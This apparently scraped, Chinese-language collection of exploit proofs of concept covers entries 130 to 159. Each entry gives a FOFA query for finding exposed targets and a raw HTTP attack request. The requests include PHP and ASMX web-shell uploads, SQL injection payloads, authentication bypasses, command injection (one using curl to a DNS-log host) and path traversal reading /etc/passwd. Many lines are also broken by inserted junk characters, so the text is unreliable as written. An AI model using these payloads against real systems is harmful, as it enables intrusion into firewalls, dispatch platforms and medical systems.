Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
) Y/ s0 ~' T, F: {1 |" ~# A# T

130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
: |; C* c; A) \8 W9 N4 bPOST /admin/users/upavatar.html HTTP/1.1
1 E5 Z: q6 x7 C) K! LHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
) O% ]" x$ P; ?( l5 }User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
: x( O: [& I) L+ C  u; |1 a8 ?9 zContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
9 Z' H. c$ b) F2 q1 ~Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 x9 G9 I9 y, N9 w/ ?Cookie: user_name=1; user_id=3
+ d! t$ u8 I2 JConnection: close

5 S- ~  U9 }' [) v/ R5 ]------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

2 i! E4 ^) V- o$ f% ]" o/ a/ p( d<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
' ]5 q6 q. ?& f

131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
9 K4 @" g5 ], S8 n后台地址：http://localhost:8080/tmall/admin
7 d5 p! y  {8 N( }. uhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
  ~! B1 C+ k+ e( Z/ x! ^
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
3 o% D/ c4 v% Y: Y# JHost: 192.168.40.130:8111
- k8 A3 r9 s9 X' VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
6 V5 ?" Q' W0 p* J# V+ \# tContent-Type: application/json
Accept-Encoding: gzip, deflate
2 r5 {1 r# ^' x* q
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

' D1 p8 Q, j- ^# R3 g5 Q
CVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
9 V& B) Y6 c, g
, c4 B! q' p8 }8 `
CVE-2024-27198-RCE.py
3 k  ~5 _+ R* l0 h; ~
( R- v4 i5 O) R133. H5 云商城 file.php 文件上传
6 O' J3 \2 X  i, d) K0 P$ CFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
8 h2 [; t; H7 w" M9 HContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
& v5 e& m* N6 b# ^
. c( d5 Z& b' g- x& H! f' `& G------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
" D0 j; ^: D: C' OContent-Type: application/octet-stream

7 k  P. Y9 j" o3 A. s<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
: k# p) W- d& Q4 O/ B, ]" Y$ ?
9 w* D/ I" T$ n* r' @5 K0 Z

134. 网康NS-ASG应用安全网关index.php sql注入
+ v6 x9 g% e: {. Z! a$ O* A/ Z8 NCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
$ |: r* h5 _* U) |- Z* v' DPOST /protocol/index.php HTTP/1.1
' u0 _2 v  [& B& L7 J% K: f+ AHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
) ?: q/ b9 X) Y# I) |5 o) c0 aAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; K* A" A7 e8 |Accept-Encoding: gzip, deflate
! g1 s, V3 V2 D4 C" Q5 p& A0 C9 I! ESec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
$ D' }1 Y0 P/ M6 ?1 E. ?Te: trailers
0 R( ^  d8 x6 q0 Y/ F1 YConnection: close
! E  @( [% v% [$ L2 O% LContent-Type: application/x-www-form-urlencoded
: M& x" j' X, Z$ j, qContent-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
7 V# _( J0 q7 h/ m, B" B  ^  uCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
( ~4 k( W% ^+ o; N4 PFOFA：app="网康科技-NS-ASG安全网关"
- u" i9 q8 L/ J) e+ j: O5 [' gGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 k4 c& I. v, b8 g: R) @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

& O$ y- A- a+ ^/ g! @2 v
2 ?1 ]! Y' i7 J1 E4 f136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
- ?  H; [- B# U4 A5 z% RGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
- A' i( D; @5 D. Z& R# v0 M. ZHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ s" n0 u' I/ {. \Connection: close
( s( h  _+ [6 h  |# V9 rAccept: */*
Accept-Language: en
Accept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
# V1 ^+ _2 K0 w, D0 L0 w; JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- V. {7 m7 Y$ |Accept-Encoding: gzip, deflate, br
* _, \8 \6 R9 s# uConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
, y+ n, I9 J" _: g6 WUpgrade-Insecure-Requests: 1

0 S  }- J0 z+ I3 n1 }1 q6 `8 T5 L5 u3 r
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
: J8 o3 u& U2 N+ W$ O+ C9 Z& Z! @CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
& _- X" U$ f* A/ a9 C$ SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# w/ s5 K) Y6 T) L* E4 o3 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* Z' A' C1 |+ t) xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
6 Z" B" X8 o6 H2 bUpgrade-Insecure-Requests: 1
$ \: C  j. o( L8 v

  u5 o2 q! A9 e# b5 ?; V8 k139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
: |& \  N; Z! Y/ ?! jFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
  W! E3 V1 S) q- _3 V- j$ wHost: x.x.x.x
9 Z; E( ^6 L0 o% K: S* P% w$ ~7 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 ?" }! n/ W' e' l# ?5 {$ \. G! _  hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
2 e7 B' v% U* \+ m1 t3 n( J* ?/ A& o
) ~7 O# ?. R7 ^) N$ f; e1 j
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
$ I1 q7 Q) H) oCVE-2024-2566
- R" S$ \! }6 s+ @* K# f$ LFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
4 b, t0 g5 p" _GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
. _' f2 O8 _7 b% P6 F" {0 b- Y! fHost: x.x.x.x
: A: R. w2 Z$ I! _1 F6 y/ y' `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% X0 j4 V( g+ k  [( {" F% \+ hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1

0 w% [) }/ j; s: A& z! e
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
( t! R3 @/ o: W2 M9 P: H+ }User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

8 Y) e; c, T% G9 X
142. CMSV6车辆监控平台系统中存在弱密码
! Q7 C  S/ q% C- f8 j$ y% ECVE-2024-29666
  K+ @! ]1 F6 i: KFOFA：body="/808gps/"
admin/admin
. e6 X+ l1 U0 ]5 [4 }+ |& I# y6 }% T143. Netis WF2780 v2.1.40144 远程命令执行
2 a% E6 e2 N' \- l, ^7 DCVE-2024-25850
; U+ `: B) n* yFOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
; s$ L' A9 B/ m9 ]6 S; m1 K. CGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
  f) ~) h  ~" o' r3 `' o

. c  E. I& |2 M" P/ h145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
+ a  k0 P4 ^8 B7 b' L% x0 [FOFA：icon_hash="-631559155"
) b2 V: `+ c! m" M$ E- AGET /global-protect/login.esp HTTP/1.1
' z0 p, X( b; E2 G9 u: JHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
/ ]! F2 l" }( k& KCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
$ g  c; ]4 q5 g# TAccept-Encoding: gzip


146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
7 m: `8 R! A6 Q7 T, c' RGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
. b3 i! r' E& E1 ]' e" hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
' k+ {" O2 P6 J- W& \, \4 VAccept-Encoding: gzip, deflate
Connection: close


147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
0 i+ c$ w7 a6 l! {3 A/ OFOFA：body="RaidenMAILD"
4 G3 t3 v; X- E) R, aGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
# ?' ?  K& Q1 c$ z  RConnection: close

+ R5 A6 R, t, j- ^8 M  {; X. v7 M
: w1 \, W6 ^9 I% q& j148. CrushFTP 认证绕过模板注入
2 H: H1 z1 T, _0 M( d" R: UCVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

4 f: h  ^- E# E& @7 r2 q6 B8 tPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
- w: A" _7 ?7 ]/ U) {1 QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
  Z; J4 Z4 j' R/ O$ K2 i% W8 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 T  Z! {% Y* }3 M& }% J" ?. rAccept-Encoding: gzip, deflate, br
" H. s. [( G' H# W9 G2 C+ wAccept-Language: zh-CN,zh;q=0.9
) Q& ?% B% q2 f8 d/ ]. kContent-Type: application/json;charset=UTF-8
Connection: close

& ?. N7 h- j! {0 }  v0 ]{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
+ ?6 }1 t! D7 L4 hFOFA：title="AJ-Report"
" E' ]6 `0 R9 w3 A, G  B. W& o* P, Z% jPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
% o1 b1 D7 c' ?1 n6 w2 h3 b# OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 L7 [- Q4 ?4 T; [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ Z, X5 X! p$ |$ v4 CAccept-Encoding: gzip, deflate, br
( \% T+ p0 k& L# i+ wAccept-Language: zh-CN,zh;q=0.9
' r9 q8 z+ }% |5 u+ ^' C$ A, vContent-Type: application/json;charset=UTF-8
Connection: close
; V: Z; m5 ~2 n5 h9 E" K+ }Content-Length: 339
: S8 R) v5 m; q
2 k3 F/ S  G1 y8 \{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

4 n- E6 M7 v) q, _) N' ]8 n8 w
151. AJ-Report 1.4.1 pageList sql注入
) v1 z3 t/ F9 G, h* vFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
5 ?8 \. |0 R3 {* s! yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  p3 P4 n/ u7 g/ u! NConnection: close
Accept-Encoding: gzip
6 p: z9 x3 v  d# ?& ^
" C2 f, |5 ?, n0 M$ [+ ?  t
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
8 z& J/ f/ y' ZGET /access/set?param=enableapi&value=1 HTTP/1.1
, z( x9 G5 \3 P/ E& V! W# }) RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
5 O2 C3 D+ z& aAccept-Language: en
$ _% }+ h  }& gAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
; F1 [  x+ z+ R9 L# F6 a: V7 h) @" vAccept-Encoding: gzip
. p8 i) h2 ?  g* h( i- N7 B
4 N4 s' f$ u, A/ X  i
3 o( U8 Y) a3 [5 w( R" z* ^153. gradio任意文件读取
0 P6 ~" i/ u) b4 C; P: HCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config

* _4 s  H* s( h% e! J
第二步，将/etc/passwd的内容写入到一个临时文件
% B/ c' k6 }! L! H1 [& ]POST /component_server HTTP/1.1
: @8 V1 `- l& Z2 A" `  S6 t# {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
. t6 r; B+ z( I; ^' n# z! OConnection: close
1 J: [. q3 U* S$ |; y! rContent-Length: 115
Content-Type: application/json
$ L. [) g6 n# T6 D# i, PAccept-Encoding: gzip
) Q; s# W: W- |" `! n
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
3 n7 k' X. S& A3 `. b
+ J7 |! f4 G* i6 ?
154. 天维尔消防救援作战调度平台 SQL注入
/ h6 f  _) A" g$ R/ g# yCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
& E+ _7 V- S$ ?6 n. g8 yUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
8 U# M/ X( P: k8 ~% E" u1 s' EContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ \/ u  p. u7 ^  r7 y; @Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
1 ~. c& _& q4 `2 ?Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
7 I$ d! i9 O3 L" H# \+ v- F! E6 j- V
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
* j- B0 D" N' W0 `
( W" y) ^& M! N! U' \# t5 _
155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
4 L8 U: y- }% E( Z  l( I: M& a5 GFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
6 Y& [$ z4 t/ p0 P  v4 e7 l! z1 {Host: x.x.x.x
7 B/ x- }0 S6 P5 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
- G2 o8 q& n8 ?7 G3 E9 O& UConnection: close
; ^" n7 h1 X3 y" {7 {: I4 YContent-Length: 232
* }; o% S6 A0 v! b% a$ d+ V/ QAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 V% s9 e; o4 \; g1 DContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
; p+ s' Z& R7 b4 ]. NContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
8 C* t& j0 Y) V! A0 ]5 ]1 k0 g-----------------------------qttl7vemrsold314zg0f--
' }9 C6 n) e9 q3 Q# C: O

  e, H8 s/ B7 ?( ]% q访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

; y: I. f2 N- M. M1 |/ j) G0 i156. TBK DVR-4104/DVR-4216 操作系统命令注入
9 `6 C* O* j7 F9 PCVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


! S0 o. M* O# mPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
1 ^* g9 Z% c5 WUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
: S3 D8 c' E  E) \Cookie: uid=1
/ m* a+ d4 S% V* VAccept-Encoding: gzip


8 W' h4 X/ E; O: |2 r157. 美特CRM upload.jsp 任意文件上传
2 }6 q, y9 `* bCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
3 s2 c5 v7 h7 E! K; R8 kPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
  t5 q, M5 ?" n& KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
4 f+ a; n$ s* B" V2 AContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
4 L( ]+ m, ^1 P! U& c/ {+ QUpgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
9 V8 u3 o: [8 }Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

  V4 X& E. u" x; Y* Y% Dnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
& |# I+ }# g5 w4 l
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
4 B# w) e  l3 ~------WebKitFormBoundary1imovELzPsfzp5dN
2 N; |5 L6 g, o0 G% A& E3 VContent-Disposition: form-data; name="filetitile"

null
. }' d7 U' m$ |+ o+ {3 z8 g0 A------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
4 W( M% t- o1 Z' Y! j0 p
null
------WebKitFormBoundary1imovELzPsfzp5dN--
6 X9 C/ x( J7 S

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
( v+ R& \2 j+ s; _/ c
, D0 ~. y+ `" R. r6 ~) v; p! I158. Mura-CMS-processAsyncObject存在SQL注入
* t, f4 l) X7 b: aCVE-2024-32640
, h, Q, T4 X, \, D" W' d4 lFOFA："Generator: Masa CMS"
: V. G' g+ g- D1 Z$ d# L2 |3 e) BPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
) h3 `; {; S4 k. U5 DHost: {{Hostname}}
) [4 s# @+ U2 N4 e; R/ m4 ZContent-Type: application/x-www-form-urlencoded

! d. G5 D5 u5 p: J3 K! J7 X# T) o  bobject=displayregion&contenthistid=x\'&previewid=1
& y- S  h3 H& P0 g

159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
+ f/ _6 j: N, V' `$ s+ y6 [POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
+ H; D  ^" c9 \6 R! [7 bContent-Length: 1080
" \9 y, `  w8 o* `Accept-Encoding: gzip, deflate
Connection: close
( j2 B* D4 J8 hContent-Type: text/xml; charset=utf-8
' }6 `1 e0 g( B9 WSoapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
* V3 o6 T& L1 f* L9 I! O! T# A9 Z<soap:Body>
: R0 ~- j% v; Z& y" u7 c<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
# L0 T. S9 U# Q; G' `8 x<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
4 ~/ Y" y/ h* T0 h8 }<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
4 R: D5 T- V7 U, v& p/ @</jobUpload>
</soap:Body>
</soap:Envelope>


' R0 W, w! X) W; U' w9 m: D( L. O/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
